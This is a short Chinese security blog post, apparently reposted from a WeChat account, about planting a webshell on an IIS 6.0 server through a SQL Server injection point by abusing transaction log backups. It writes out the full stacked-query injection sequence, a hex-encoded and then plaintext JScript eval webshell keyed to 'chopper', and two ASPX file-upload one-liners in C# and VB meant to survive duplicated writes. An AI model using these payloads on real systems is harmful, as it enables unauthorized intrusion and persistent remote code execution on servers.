利用SQL Server的低权限注入点,通过差异备份和log增量备份获取shell的技术似乎没有难度,在一个纠结的注入点却遇到了一些问题。
首先是服务器环境iis6.0,不支持asp,仅支持aspx,然后直接差异备份出来的shell有10M多,直接访问就报错了,貌似.net的语法检查比asp来说要严格,然后就换log增量备份写shell的payload:
1.';alter database [dbname] set RECOVERY FULL--
2.';create table tmp (a image)--
3.';backup log [dbname] to disk = 'c:windowstempbak.tmp' with init--
4.';insert into tmp (a) values (0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b2263686f70706572225d2c22756e7361666522293b253e)--
5.';backup log [dbname] to disk = 'webrootpath'--
然后写出来个shell发现依然报错了,备份成txt之后下载回来发现shell中有一部分乱码了,然后换成 了 ‘;insert into tmp (a) values (‘<%@ Page Language=”Jscript”%><%eval(Request.Item[“chopper”],”unsafe”);%>’)– 这样写入就ok了,没有写入hex值,解决了乱码问题,高高兴兴的跑去访问了下shell,又报错了,tm .net真蛋疼,提示“There can be only one ‘page’ directive”:
然后依备份成txt下载回来,看到了我的一句话被写入了两次。到现在还没明白问什么log增量备份会备份两次我的shell
因为同一个脚本中出现了两次 <%@ Page Language=”Jscript”%>…… 这样在.net的语法检查中是不允许的(asp中应该没有这种现象),现在就要找个没有page标签的aspx的一句话。
网上找到了两个可以没带page标签的aspx的一句话
C#版本:
<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>
Vb版本:
<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(“f”)) ) %>
因为没有page标签,所以这这样的一句话在同一个文件中出现两次是不会出错的。
另外没有声明Page Language 的话,默认的语言可能是c#或者vb,我在不同机器上发现默认的语言有出入,这样就分别尝试一下找到合适的一句话,解决问题。
原创文章,转载请注明: 转载自 CNSS菊花's Blog ‘s Blog
本文始发于微信公众号(关注安全技术):某注入点差异备份getshell小记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论